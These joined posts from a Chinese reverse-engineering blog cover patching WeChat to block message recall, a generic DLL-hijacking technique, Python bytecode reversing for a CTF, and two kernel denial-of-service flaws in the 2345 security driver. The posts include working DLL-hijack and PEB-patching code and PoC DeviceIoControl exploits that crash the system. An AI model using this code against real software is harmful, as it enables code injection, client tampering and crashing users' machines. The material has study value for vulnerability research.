首先试试从界面入手，都知道微信界面使用duilib实现的，所以可以从它的某些特征入手分析，比如字符串click等，可以快速找到功能函数。

想的是通过click找到整个窗口响应函数，然后再分析找到撤销操作的代码位置。

确实很快就看到了窗口响应函数，不过大概有119个相关函数，所以无奈放弃。

换一个方向，通过菜单入手，搜索menu找到menuCmdDelete，menuCmdRevoke等字符串，menuCmdRevoke就是撤销菜单对应的名字。有29个相关函数，还行。结合调试，尝试了几个函数，果然找到了删除、撤销对应的响应函数。然后想通过删除菜单来找到删除界面消息的代码，而被撤销消息其实也是删除界面消息，不过折腾了一圈未果。

2. 网络入手

通过recv回溯到接收网络消息的函数中，40个，有点多。找了个tcp抓包工具，想抓到撤销消息的调用堆栈，结果一直被其他消息干扰，无果。

3. 取巧

函数太多，分析很费实践，想看看有没有其他路可以走。在字符串中搜索revoke发现很多看起来有用的调试信息，不过也有79条之多。然后通过筛选和调试确认，找到了On RevokeMsg svrId : %d，然后回溯到撤销消息处理的函数中。

if ( sub_10247BF0((wchar_t *)v258, (int)v259, (int)v260, v261) )
{                             // 撤销消息
*(_OWORD *)&v259 = xmmword_10E6A278;
v257 = xmmword_10E6A278;
v256 = xmmword_10E6A278;
v255 = xmmword_10E6A278;
*(_OWORD *)&v251 = xmmword_10E6A278;
sub_1007E090(&v247, v353, SHIDWORD(v353));
f_log_10471580(
  (int)"02_manager\\SyncMgr.cpp",
  2,
  1357,
  (int)"SyncMgr::doAddMsg",
  (int)"SyncMgr",
  "On RevokeMsg svrId : %d",

经过调试发现sub_10247BF0返回1则进入撤销消息处理中，消息被撤销，跳过此段代码，消息不会被撤销，所以patch掉sub_10247BF0这个函数的返回值使其一直为0即可完成防撤销的功能。

当然也不能太随意了，还是看看这个函数大概做了些什么处理吧。关键参数第一个，调试中发现值如下：


    
        wxid_0811111140112</session>
        1111000048</msgid>
        11411701182813217</newmsgid>
        </replacemsg>
    </revokemsg>
</sysmsg>

sub_10247BF0解析发现type="revokemsg"即判断为撤销消息操作，返回1，很明了。

小结：此次分析运气较好，通过revoke找到关键代码，少花了很多时间，其实通过网络方向堆栈筛选确认应该也是可以找到这段代码的，但是通过结果去看，发现有近10层调用栈，肯定会花成倍的时间才能找到关键代码。

0x3. 实现

分析是为了最后能够用起来，所以用上一篇文章《一种通用Dll劫持技术》写了一个简单的包含patch代码（没有用hook）的dll模块，劫持微信的WeChatResource.dll来完成加载。

关键代码如下所示，patch了sub_10247BF0返回值所在代码，让其eax永远为0。

bool FakeRevokeMsg()
{
 if (!IsSupportedWxVersion()) {
  return false;
 }

 //33 C0                xor eax,eax 
 BYTE code[] = { 0x33, 0xc0, 0x90 };
 HMODULE hMod = GetModuleHandle(WECHATWINDLL);
 DWORD offset = 0x247EF1;//返回值处
 if (!hMod) {
  return false;
 }

 PVOID addr = (BYTE*)hMod + offset;
 Patch(addr, 3, code);

 return true;
}

最后惯例，放上github地址：https://github.com/anhkgg/SuperWeChatPC

转载请注明出处：https://anhkgg.com/wechat-revoke

公众号文章链接：https://mp.weixin.qq.com/s/E7N6LzAH4p88Gu4f_qwGlg

欢迎关注公众号：汉客儿或加入QQ交流群：753894145

一种通用Dll劫持技术研究

2018-11-29T09:45:46.000Z

QQ交流群：753894145

欢迎关注技术公众号：汉客儿

通用DLL劫持技术研究

by anhkgg

2018年11月29日

写在前面

Dll劫持相信大家都不陌生，理论就不多说了。Dll劫持的目的一般都是为了自己的dll模块能够在别人进程中运行，然后做些不可描述的事情。

为了让别人的程序能够正常运行，通常都需要在自己的dll中导出和劫持的目标dll相同的函数接口，然后在自己的接口函数中调用原始dll的函数，如此使得原始dll的功能能够正常被使用。导出接口可以自己手工写，也可以通过工具自动生成，比如著名的Aheadlib。这种方法的缺点就是针对不同的dll需要导出不同的接口，虽然有工具帮助，但也有限制，比如不支持x64。

除此之外，很早之前就知道一种通用dll劫持的方法，原理大致是在自己的dll的dllmian中加载被劫持dll，然后修改loadlibrary的返回值为被劫持dll加载后的模块句柄。这种方式就是自己的dll不用导出和被劫持dll相同的函数接口，使用更加方便，也更加通用。

下面就尝试分析一下如何实现这种通用的dll劫持方法。

原理分析

随便写一个测试代码：

//mydll.dll 伪造的用于劫持mydll.dll的dll代码
//mydll.dll.1是把test.exe加载的原始dll修改为这个名字
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        __debugbreak();
        HMODULE hmod = LoadLibraryW("mydll.dll.1");
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
//test.exe
void main()
{
    LoadLibraryW(L"mydll.dll");
}

用windbg加载看看堆栈，如下所示。在test中通过LoadLibraryW加载mydll.dll，最后进入mydll!DllMain。现在需要分析系统映射dll之后是如何把基地址返回给LoadLibraryW，然后才能想办法把这个值给修改成加载mydll.dll.1的值。

0:000> kvn
 # ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0025eaf8 6e4112ec 6e410000 00000000 00000000 mydll+0x101d
01 0025eb38 6e4113c9 6e410000 00000001 00000000 mydll+0x12ec
02 0025eb4c 77d889d8 6e410000 00000001 00000000 mydll!DllMain+0x13
03 0025eb6c 77d95c41 6e4113ad 6e410000 00000001 ntdll!LdrpCallInitRoutine+0x14
04 0025ec60 77d9052e 00000000 74e92d11 77d77c9a ntdll!LdrpRunInitializeRoutines+0x26f (FPO: [Non-Fpo])
05 0025edcc 77d9232c 0025ee2c 0025edf8 00000000 ntdll!LdrpLoadDll+0x4d1 (FPO: [Non-Fpo])
06 0025ee00 75ee88ee 0037429c 0025ee40 0025ee2c ntdll!LdrLoadDll+0x92 (FPO: [Non-Fpo])
07 0025ee38 761b3c12 00000000 00000000 00000001 KERNELBASE!LoadLibraryExW+0x15a (FPO: [Non-Fpo])
08 0025ee4c 6848e3f5 0025ee58 003a0043 0055005c kernel32!LoadLibraryW+0x11 (FPO: [Non-Fpo])
09 0025f068 6848d1de d9131536 00000000 00000000 test!start+0x2b5
0a 0025f09c 6848e245 013a0000 761b3c26 76b3ea5f test!start+0x21e86e
0b 0025f328 013a1918 013a0000 0037187a 00000000 test!start+0x105
0c 0025fb44 013a30b9 013a0000 00000000 0037187a test+0x1918
0d 0025fb90 761b3c45 7ffd9000 0025fbdc 77d937f5 test+0x30b9
0e 0025fb9c 77d937f5 7ffd9000 74e93b01 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
0f 0025fbdc 77d937c8 013a312b 7ffd9000 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])
10 0025fbf4 00000000 013a312b 7ffd9000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

先去reactos翻看一下，找到如下的函数调用结构。在LdrLoadDll参数中BaseAddress就是最后返回给LoadLibraryW的值，所以继续看BaseAddress是如何赋值的。BaseAddress继续传给LdrpLoadDll，在LdrpLoadDll中，首先通过LdrpMapDll映射dll模块，返回一个LdrEntry的LDR_DATA_TABLE_ENTRY结构，保存了dll加载的基址、大小、名字等信息。接着LdrEntry会插入到peb->ldr链表结构中，然后调用LdrpRunInitializeRoutines，在LdrpRunInitializeRoutines中最终会调用DllMain，此处不继续深入分析。最后LdrEntry->DllBase赋值给BaseAddress。到此流程分析清楚，下面考虑如何修改这个值。

NTSTATUS
NTAPI
LdrLoadDll(IN PWSTR SearchPath OPTIONAL,
           IN PULONG DllCharacteristics OPTIONAL,
           IN PUNICODE_STRING DllName,
           OUT PVOID *BaseAddress) {
               Status = LdrpLoadDll(RedirectedDll,
                         SearchPath,
                         DllCharacteristics,
                         DllName,
                         BaseAddress,
                         TRUE);
           }

NTSTATUS
NTAPI
LdrpLoadDll(IN BOOLEAN Redirected,
            IN PWSTR DllPath OPTIONAL,
            IN PULONG DllCharacteristics OPTIONAL,
            IN PUNICODE_STRING DllName,
            OUT PVOID *BaseAddress,
            IN BOOLEAN CallInit)
            {
                Status = LdrpMapDll(DllPath,
                            DllPath,
                            NameBuffer,
                            DllCharacteristics,
                            FALSE,
                            Redirected,
                            &LdrEntry);

                 //插入peb->ldr链表

                Status = LdrpRunInitializeRoutines(NULL);

                if (NT_SUCCESS(Status))
                {
                    /* Return the base address */
                    *BaseAddress = LdrEntry->DllBase;
                }
            }    

LdrpRunInitializeRoutines-> LdrpCallInitRoutine -> DllMain

记得映像中的那种方法，是通过堆栈回溯到LdrpLoadDll中，找到LdrEntry进行修改（不确实是否准备，时间久远了），但因为LdrEntry是局部变量，不同系统可以不一样，兼容性差一些。但看到这个调用流程之后，其实还有另一种方式。LdrEntry->DllBase赋值给BaseAddress，那么在赋值之前把这个LdrEntry->DllBase修改了即可，在DllMain正好是修改的时机，但是不需要使用堆栈回溯的方式。因为LdrEntry已经插入到peb->ldr中，那么在DllMain中可以直接获取peb->ldr遍历链表找到目标dll堆栈的LdrEntry就是需要修改的LdrEntry，然后修改即可。

不过这个分析都是基于reactos来的，还是需要确认一下真是windows系统的ntdll是如何首先的。

在win7 x64系统中，ntdll的关键代码如下所示。差别是LdrpLoadDll直接返回的ldrentry，而不是BaseAddress，在LdrpLoadDll内部流程基本和reactos一致。所以方案应该可行，后续验证确实证明可行。

int __fastcall LdrLoadDll()
{
v11 = LdrpLoadDll(v5, v9, v10, 1, 0i64, &dataentry);
  v12 = v11;
  if ( v11 >= 0 )
    *dllbase = dataentry->DllBase;

}

尝试实现

实现其实非常简单，关键代码如下所示。两部分代码，一个是加载原始dll模块（mydll.dll.1）拿到真是的模块句柄hMod（基地址），第二个就是遍历peb->ldr找到mydll.dll的ldrentry，然后修改dllbase为hMod。

void* NtCurrentPeb()
{
 __asm {
  mov eax, fs:[0x30];
 }
}
PEB_LDR_DATA* NtGetPebLdr(void* peb)
{
 __asm {
  mov eax, peb;
  mov eax, [eax + 0xc];
 }
}
VOID SuperDllHijack(LPCWSTR dllname, HMODULE hMod)
{
 WCHAR wszDllName[100] = { 0 };
 void* peb = NtCurrentPeb();
 PEB_LDR_DATA* ldr = NtGetPebLdr(peb);

 for (LIST_ENTRY* entry = ldr->InLoadOrderModuleList.Blink;
  entry != (LIST_ENTRY*)(&ldr->InLoadOrderModuleList);
  entry = entry->Blink) {
  PLDR_DATA_TABLE_ENTRY data = (PLDR_DATA_TABLE_ENTRY)entry;

  memset(wszDllName, 0, 100 * 2);
  memcpy(wszDllName, data->BaseDllName.Buffer, data->BaseDllName.Length);

  if (!_wcsicmp(wszDllName, dllname)) {
   data->DllBase = hMod;
   break;
  }
 }
}
VOID DllHijack(HMODULE hMod)
{
 TCHAR tszDllPath[MAX_PATH] = { 0 };

 GetModuleFileName(hMod, tszDllPath, MAX_PATH);
 PathRemoveFileSpec(tszDllPath);
 PathAppend(tszDllPath, TEXT("mydll.dll.1"));

 HMODULE hMod1 = LoadLibrary(tszDllPath);

 SuperDllHijack(L"mydll.dll", hMod1);
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        DllHijack(hModule);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

总结

经测试在win7 x84和win10 x64中即是有效的，其他系统未测试，如果有问题，请留言或自行解决。

害怕这种方案不行，还想了另一种思路，在dllmain中hook LdrpLoadDll的返回调用地址处，修改dataentry的值，因为LdrLoadDll函数接口固定，所以这种方式也应该是通用的，不过实现起来其实还比现在的麻烦些，所以只是保留了这种思路，并未去实现验证，留给爱折腾的朋友吧。

最后，代码上传了github，https://github.com/anhkgg/SuperDllHijack

转载请注明出处：https://anhkgg.com/dllhijack/

公众号文章链接：https://mp.weixin.qq.com/s/Nx4C2mx94V9vhvU8Eqfobg

欢迎关注公众号：汉客儿或加入QQ交流群：753894145

死磕python字节码-手工还原python源码（网鼎杯第四场逆向题chaoyang）

2018-09-04T15:21:29.000Z

0x1.前言

Python 代码先被编译为字节码后，再由Python虚拟机来执行字节码， Python的字节码是一种类似汇编指令的中间语言，一个Python语句会对应若干字节码指令，虚拟机一条一条执行字节码指令，从而完成程序执行。
Python dis 模块支持对Python代码进行反汇编，生成字节码指令。

dis.dis()将CPython字节码转为可读的伪代码(类似于汇编代码)。结构如下：

7           0 LOAD_CONST               1 (0)
            3 STORE_FAST               1 (local1)

8           6 LOAD_CONST               2 (101)
            9 STORE_GLOBAL             0 (global1)

9          12 LOAD_FAST                1 (local1)
           15 PRINT_ITEM
           16 LOAD_FAST                0 (arg1)
           19 PRINT_ITEM
           20 LOAD_GLOBAL              0 (global1)
           23 PRINT_ITEM
           24 PRINT_NEWLINE
           25 LOAD_CONST               0 (None)
           28 RETURN_VALUE

其实就是这样的结构：

1	源码行号 \| 指令在函数中的偏移 \| 指令符号 \| 指令参数 \| 实际参数值

0x2.变量

1.const

LOAD_CONST加载const变量，比如数值、字符串等等，一般用于传给函数的参数

55       12 LOAD_GLOBAL              1 (test)
         15 LOAD_FAST                0 (2) #读取2
         18 LOAD_CONST               1 ('output') 
         21 CALL_FUNCTION            2

转为python代码就是：

1	test(2, 'output')

2.局部变量

LOAD_FAST一般加载局部变量的值，也就是读取值，用于计算或者函数调用传参等。
STORE_FAST一般用于保存值到局部变量。

61          77 LOAD_FAST                0 (n)
             80 LOAD_FAST                3 (p)
             83 INPLACE_DIVIDE
             84 STORE_FAST               0 (n)

这段bytecode转为python就是：

n = n / p

函数的形参也是局部变量，如何区分出是函数形参还是其他局部变量呢？

形参没有初始化，也就是从函数开始到LOAD_FAST该变量的位置，如果没有看到STORE_FAST，那么该变量就是函数形参。

而其他局部变量在使用之前肯定会使用STORE_FAST进行初始化。

具体看下面的实例：

4           0 LOAD_CONST               1 (0)
            3 STORE_FAST               1 (local1)

5           6 LOAD_FAST                1 (local1)
            9 PRINT_ITEM
           10 LOAD_FAST                0 (arg1)
           13 PRINT_ITEM
           14 PRINT_NEWLINE
           15 LOAD_CONST               0 (None)
           18 RETURN_VALUE

对应的python代码如下，对比一下就一目了然。

1
2
3

def test(arg1):
    local1 = 0
    print local1, arg1

3.全局变量

LOAD_GLOBAL用来加载全局变量，包括指定函数名，类名，模块名等全局符号。

STORE_GLOBAL用来给全局变量赋值。

8           6 LOAD_CONST               2 (101)
            9 STORE_GLOBAL             0 (global1)
            20 LOAD_GLOBAL              0 (global1)
            23 PRINT_ITEM

对应的python代码

def test():
    global global1
    global1 = 101
    print global

0x3.常用数据类型

1.list

BUILD_LIST用于创建一个list结构。

13           0 LOAD_CONST               1 (1)
             3 LOAD_CONST               2 (2)
             6 BUILD_LIST               2
             9 STORE_FAST               0 (k)

对应python代码是：

1	k = [1, 2]

另外再看看一种常见的创建list的方式如下：

1	[x for x in xlist if x!=0 ]

一个实例bytecode如下：

22         235 BUILD_LIST               0 //创建list，为赋值给某变量，这种时候一般都是语法糖结构了
           238 LOAD_FAST                3 (sieve)
           241 GET_ITER
       >>  242 FOR_ITER                24 (to 269)
           245 STORE_FAST               4 (x)
           248 LOAD_FAST                4 (x)
           251 LOAD_CONST               2 (0)
           254 COMPARE_OP               3 (!=)
           257 POP_JUMP_IF_FALSE      242 //不满足条件contine
           260 LOAD_FAST                4 (x)//读取满足条件的x
           263 LIST_APPEND              2 //把每个满足条件的x存入list
           266 JUMP_ABSOLUTE          242
       >>  269 RETURN_VALUE

转为python代码是：

1	[for x in sieve if x != 0]

2.dict

BUILD_MAP用于创建一个空的dict。STORE_MAP用于初始化dict的内容。

13           0 BUILD_MAP                1
             3 LOAD_CONST               1 (1)
             6 LOAD_CONST               2 ('a')
             9 STORE_MAP
            10 STORE_FAST               0 (k)

对应的python代码是：

1	k = {'a': 1}

再看看修改dict的bytecode：

14          13 LOAD_CONST               3 (2)
             16 LOAD_FAST                0 (k)
             19 LOAD_CONST               4 ('b')
             22 STORE_SUBSCR

对应的python代码是：

1	k['b'] = 2

3.slice

BUILD_SLICE用于创建slice。对于list、元组、字符串都可以使用slice的方式进行访问。

但是要注意BUILD_SLICE用于[x:y:z]这种类型的slice，结合BINARY_SUBSCR读取slice的值，结合STORE_SUBSCR用于修改slice的值。

另外SLICE+n用于[a:b]类型的访问，STORE_SLICE+n用于[a:b]类型的修改，其中n表示如下：

SLICE+0()
Implements TOS = TOS[:].

SLICE+1()
Implements TOS = TOS1[TOS:].

SLICE+2()
Implements TOS = TOS1[:TOS].

SLICE+3()
Implements TOS = TOS2[TOS1:TOS].

下面看具体实例：

13           0 LOAD_CONST               1 (1)
              3 LOAD_CONST               2 (2)
              6 LOAD_CONST               3 (3)
              9 BUILD_LIST               3
             12 STORE_FAST               0 (k1) //k1 = [1, 2, 3]

 14          15 LOAD_CONST               4 (10)
             18 BUILD_LIST               1
             21 LOAD_FAST                0 (k1)
             24 LOAD_CONST               5 (0)
             27 LOAD_CONST               1 (1)
             30 LOAD_CONST               1 (1)
             33 BUILD_SLICE              3
             36 STORE_SUBSCR                    //k1[0:1:1] = [10]

 15          37 LOAD_CONST               6 (11)
             40 BUILD_LIST               1
             43 LOAD_FAST                0 (k1)
             46 LOAD_CONST               1 (1)
             49 LOAD_CONST               2 (2)
             52 STORE_SLICE+3                   //k1[1:2] = [11]

 16          53 LOAD_FAST                0 (k1)
             56 LOAD_CONST               1 (1)
             59 LOAD_CONST               2 (2)
             62 SLICE+3
             63 STORE_FAST               1 (a)  //a = k1[1:2]

 17          66 LOAD_FAST                0 (k1)
             69 LOAD_CONST               5 (0)
             72 LOAD_CONST               1 (1)
             75 LOAD_CONST               1 (1)
             78 BUILD_SLICE              3
             81 BINARY_SUBSCR
             82 STORE_FAST               2 (b) //b = k1[0:1:1]

0x4.循环

SETUP_LOOP用于开始一个循环。SETUP_LOOP 26 (to 35)中35表示循环退出点。

while循环

23           0 LOAD_CONST               1 (0)
             3 STORE_FAST               0 (i) // i=0

24           6 SETUP_LOOP              26 (to 35)
       >>    9 LOAD_FAST                0 (i) //循环起点
            12 LOAD_CONST               2 (10)
            15 COMPARE_OP               0 (<)
            18 POP_JUMP_IF_FALSE       34     //while i < 10:

25          21 LOAD_FAST                0 (i)
            24 LOAD_CONST               3 (1)
            27 INPLACE_ADD                     
            28 STORE_FAST               0 (i) // i += 1
            31 JUMP_ABSOLUTE            9    // 回到循环起点
       >>   34 POP_BLOCK
       >>   35 LOAD_CONST               0 (None)

对应python代码是：

1
2
3

i = 0
    while i < 10:
        i += 1

for in结构

    238 LOAD_FAST                3 (sieve)#sieve是个list
    241 GET_ITER                    //开始迭代sieve
>>  242 FOR_ITER                24 (to 269) //继续iter下一个x
    245 STORE_FAST               4 (x)
    ...
    266 JUMP_ABSOLUTE          242 //循环

这是典型的for+in结构，转为python代码就是：

1	for x in sieve:

0x5.if

POP_JUMP_IF_FALSE和JUMP_FORWARD一般用于分支判断跳转。POP_JUMP_IF_FALSE表示条件结果为FALSE就跳转到目标偏移指令。JUMP_FORWARD直接跳转到目标偏移指令。

23           0 LOAD_CONST               1 (0)
             3 STORE_FAST               0 (i) //i=0
24           6 LOAD_FAST                0 (i)
             9 LOAD_CONST               2 (5)
            12 COMPARE_OP               0 (<)
            15 POP_JUMP_IF_FALSE       26

25          18 LOAD_CONST               3 ('i < 5')
            21 PRINT_ITEM
            22 PRINT_NEWLINE
            23 JUMP_FORWARD            25 (to 51)

26     >>   26 LOAD_FAST                0 (i)
            29 LOAD_CONST               2 (5)
            32 COMPARE_OP               4 (>)
            35 POP_JUMP_IF_FALSE       46

27          38 LOAD_CONST               4 ('i > 5')
            41 PRINT_ITEM
            42 PRINT_NEWLINE
            43 JUMP_FORWARD             5 (to 51)

29     >>   46 LOAD_CONST               5 ('i = 5')
            49 PRINT_ITEM
            50 PRINT_NEWLINE
       >>   51 LOAD_CONST               0 (None)

转为python代码是：

i = 0
if i < 5:
    print 'i < 5'
elif i > 5:
    print 'i > 5'
else:
    print 'i = 5'

0x6.分辨函数

1.函数范围

前面介绍第二列表示指令在函数中的偏移地址，所以看到0就是函数开始，下一个0前一条指令就是函数结束位置，当然也可以通过RETURN_VALUE来确定函数结尾

54         0 LOAD_FAST                1 (plist) //函数开始
           3 LOAD_CONST               0 (None)
           6 COMPARE_OP               2 (==)
           9 POP_JUMP_IF_FALSE        33

55         ...

67     >>  139 LOAD_FAST              2 (fs)
           142 RETURN_VALUE
70         0 LOAD_CONST               1 ('FLAG') //另一个函数开始
           3 STORE_FAST               0 (flag)

2.函数调用

函数调用类似于push+call的汇编结构，压栈参数从左到右依次压入（当然不是push，而是读取指令LOAD_xxxx来指定参数）。

函数名一般通过LOAD_GLOBAL指令指定，如果是模块函数或者类成员函数通过LOAD_GLOBAL+LOAD_ATTR来指定。

先指定要调用的函数，然后压参数，最后通过CALL_FUNCTION调用。

CALL_FUNCTION后面的值表示有几个参数。

支持嵌套调用：

6           0 LOAD_GLOBAL              0 (int) //int函数
              3 LOAD_GLOBAL              1 (math)//math模块
              6 LOAD_ATTR                2 (sqrt)//sqrt函数
              9 LOAD_FAST                0 (n) //参数
             12 CALL_FUNCTION            1
             15 CALL_FUNCTION            1
             18 STORE_FAST               2 (nroot)

这段bytecode转换成python代码就是

1	nroot = int(math.sqrt(n)) //其中n是一个局部变量或者函数参数，具体看上下文

0x7.其他指令

其他常见指令，一看就明白，就不具体分析了，更多详细内容请看官方文档。

INPLACE_POWER()
Implements in-place TOS = TOS1 ** TOS.

INPLACE_MULTIPLY()
Implements in-place TOS = TOS1 * TOS.

INPLACE_DIVIDE()
Implements in-place TOS = TOS1 / TOS when from __future__ import division is not in effect.

INPLACE_FLOOR_DIVIDE()
Implements in-place TOS = TOS1 // TOS.

INPLACE_TRUE_DIVIDE()
Implements in-place TOS = TOS1 / TOS when from __future__ import division is in effect.

INPLACE_MODULO()
Implements in-place TOS = TOS1 % TOS.

INPLACE_ADD()
Implements in-place TOS = TOS1 + TOS.

INPLACE_SUBTRACT()
Implements in-place TOS = TOS1 - TOS.

INPLACE_LSHIFT()
Implements in-place TOS = TOS1 << TOS.

INPLACE_RSHIFT()
Implements in-place TOS = TOS1 >> TOS.

INPLACE_AND()
Implements in-place TOS = TOS1 & TOS.

INPLACE_XOR()
Implements in-place TOS = TOS1 ^ TOS.

INPLACE_OR()
Implements in-place TOS = TOS1 | TOS.

基础运算还有一套对应的BINARY_xxxx指令，两者区别很简单。

1 2	i += 1 //使用INPLACE_xxx i = i + 1 //使用BINARY_xxxx

参考资料

转载请注明出处：https://anhkgg.github.io/python-bytecode/

2345内核拒绝服务漏洞（3） - WORD的锅

2018-07-13T04:25:33.000Z

漏洞概述

软件网址：http://safe.2345.cc/
版本：v3.7 X64

2345安全软件的驱动2345BdPcSafe.sys在ioctl(0x0022204C)接口处理中，对输入数据校验不严格，精心构造的数据可导致在处理过程中内存拷贝时溢出，然后bsod拒绝服务，甚至可内核提权。

漏洞分析

在IRP_MJ_DEVICE_CONTROL处理函数中，对0x22204C接口进行处理时，有一段拷贝字符串的操作如下所示：

struct _ioctl_buf
{
  WORD len;
  WORD len_;
  DWORD unk2;
  _ioctl_buf_str *ptr;
};
struct _ioctl_buf_str
{
  wchar_t buf[1];
};

a2是一个_ioctl_buf结构（由应用层输入构造而成），len2是输入的另一个字符串的长度，通过a2->len（2字节）和len2（2字节）计算得到len1，关键在于len1是也一个WORD变量，只有2字节，所以当a2->len+len2的大小超过WORD溢出之后，会被截断成WORD，截断后的值赋给len1，此时就可能导致len1的值反而小于a2->len。比如：

1 2	0xa3d0 + 0xb4f0 = 0x158C0 =>截断=> 0x58C0 0x58C0 < 0xa3d0

接着根据len1分配内存p，memmove拷贝a2->ptr内容到p中，长度按a2->len，问题就来了，a2-len大于len1时，就会导致拷贝溢出，bsod（写溢出，可控制内容，可以做更多的利用了，这里我不擅长了）。

好了，漏洞成因这里就分析完了。

下面看一下poc：

int poc()
{
 
 DWORD BytesReturned = 0;

 HANDLE h = OpenDevice("\\\\.\\2345BdPcSafe");
 if (h == INVALID_HANDLE_VALUE) {
  return 1;
 }
    //过白名单检查
 if (!BypassChk(h)) {
  return 1;
 }
 
//BSOD
 DWORD ctlcode = 0x22204C;
#pragma pack(push, 1)
 struct _ioctl_buf_in
 {
  DWORD unk1;
  DWORD unk2;//4
  DWORD offset1;//8 =0x18
  DWORD offset2;//c =A3E8
  DWORD offset3;//10
  DWORD unk3;//14
  char buf1[0xa3d0];//18
  char buf2[0xb4f0];//18+a3d0 
 }; //0x158D8
#pragma pack(pop)

 _ioctl_buf_in buff = { 0 };
 buff.unk1 = 4;
 buff.unk3 = 4;
 buff.offset1 = 0x18;
 buff.offset2 = (char*)&buff.buf2 - (char*)&buff;
 buff.offset3 = 0;
 memset(buff.buf1, 0x41, 0xa3d0);
 memset(buff.buf2, 0x41, 0xb4f0);

 if(!DeviceIoControl(h, ctlcode, &buff, sizeof(_ioctl_buf_in), &buff, 0, &BytesReturned, NULL)) {
  printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());
 }
 return 0;
}

其中buff.buf1和buff.buf2的长度0xa3d0 + 0xb4f0 = 0x158c0（截断）就是a2->len(0x58c0)，buff.buf2的长度b4f0就是len2。

我们在调试中看一下计算结果，可以清晰看到len1=0xdb2 < 0x58c0(a2->len)。

0: kd> p
2345BdPcSafe+0x561c:
fffff880`0540561c 660307          add     ax,word ptr [rdi]
0: kd> r rdi
rdi=fffffa8026539658
0: kd> dw fffffa8026539658 l1
fffffa80`26539658  58c0
//a2->len = 0x58c0
0: kd> p
2345BdPcSafe+0x561f:
fffff880`0540561f 664103c1        add     ax,r9w
0: kd> r rax
rax=00000000000058c2
//len2 = 0xb4f0
0: kd> r r9
r9=000000000000b4f0
0: kd> p
2345BdPcSafe+0x5623:
fffff880`05405623 0fb7d0          movzx   edx,ax
0: kd> r rax
rax=0000000000000db2
//len1 = 0xdb2
0: kd> p
2345BdPcSafe+0x562a:
fffff880`0540562a ff15b80e0300    call    qword ptr [2345BdPcSafe+0x364e8 (fffff880`054364e8)]
0: kd> dq fffff880`054364e8 l1
fffff880`054364e8  fffff800`03ff70e0
0: kd> u fffff800`03ff70e0
nt!ExAllocatePoolWithTag:
fffff800`03ff70e0 fff5            push    rbp
0: kd> r rcx;r rdx;r r8
rcx=0000000000000001
rdx=0000000000000db2
r8=0000000035343332
//参数：p = ExAllocatePoolWithTag(1, 0xdb2, 0x35343332);

结语

这个漏洞主要是对输入参数结构体的长度字段校验不够严谨，导致变量溢出截断出现意外的大小结果导致了漏洞的产生。

该系列后续会继续分析其他原因引起的漏洞，如有兴趣，敬请期待！

转载请注明出处：https://anhkgg.github.io/vul-2345-3/

2345内核拒绝服务漏洞（2）

2018-07-08T03:15:49.000Z

漏洞概述

软件网址：http://safe.2345.cc/
版本：v3.7 X64

2345安全软件的驱动2345BdPcSafe.sys在ioctl(0x002220E4)接口处理中，对输入数据校验不严格，可构造数据中包含非法地址导致访问违例，然后bsod拒绝服务。

漏洞分析

在IRP_MJ_DEVICE_CONTROL处理函数中，对0x2220E4接口进行处理时如下所示：

InputBuf是应用层传入的输入缓存内容，校验InputBuf是否为空，长度是否超过8字节，然后通过MmIsAddressValid验证地址是否合法，合法后通过偏移16访问该内存内容是否等于标记li7p。

问题就出在这里，MmIsAddressValid并不能验证一个内存某范围内是否可读可写，仅仅只能验证该地址读写是否会触发一个页错误。

所以我们就可以构造一个可通过MmIsAddressValid验证并且地址16偏移不可读的内存作为输入，造成bsod。

看下面的poc代码，通过VirtualAlloc分配一个页大小的内存，可读可写，然后计算页地址尾地址-4作为输入缓存的ptr，这样MmIsAddressValid可通过校验，再内核读取ptr+16偏移时地址已经超过该页内存范围，不可访问，导致bsod。

int poc()
{
 
 DWORD BytesReturned = 0;

 HANDLE h = OpenDevice("\\\\.\\2345BdPcSafe");
 if (h == INVALID_HANDLE_VALUE) {
  return 1;
 }
    //过白名单检查
 if (!BypassChk(h)) {
  return 1;
 }
 
 //BSOD
 DWORD ctlcode = 0x2220E4;
#pragma pack(push,1)
 struct _ioctl_buf_in
 {
   __int64 ptr;
 };
#pragma pack(pop)
 _ioctl_buf_in buff = { 0 };
    
    //分配一个页，可读可写，将该页地址尾地址-4作为输入缓存的ptr
    //然后读取+16偏移时地址已经越过该页内存范围，不可访问，bsod
 PVOID ptr = VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE);
 memset(ptr, 0x41, 0x1000);//
 buff.ptr = (__int64)ptr + 0x1000 - 0x4;

 if(!DeviceIoControl(h, ctlcode, &buff, sizeof(_ioctl_buf_in), &buff, sizeof(_ioctl_buf_in), &BytesReturned, NULL)) {
  printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());
 }
 return 0;
}

看看内存更加清晰，buff地址是003efea0，buff.ptr的值是00030ffc，可以清楚看到00030ffc+16偏移处肯定是不可读的了。

0: kd:x86> dd 003efe3c 
00000000`003efe3c  003efe68 75db3237 00000030 002220e4
00000000`003efe4c  003efea0 00000008 003efea0 00000008
0: kd:x86> dd 003efea0 
00000000`003efea0  00030ffc 00000000 01234808 003efef8
0: kd:x86> dd 00030ffc 
00000000`00030ffc  41414141 ???????? ???????? ????????
00000000`0003100c  ???????? ???????? ???????? ????????

结语

这个漏洞算是前一个的延申，依然是应用层传入内容中包括内存地址，也加入了内存合法性验证代码，但是却没什么用，并没有验证到要访问的内存处的合法性，这个疏漏导致了漏洞的产生。

更好的验证内存合法性的函数应该使用ProbeForRead(p, len, x)，可以验证一个范围内内存的合法性，更加严谨，能更好的避免漏洞的产生。

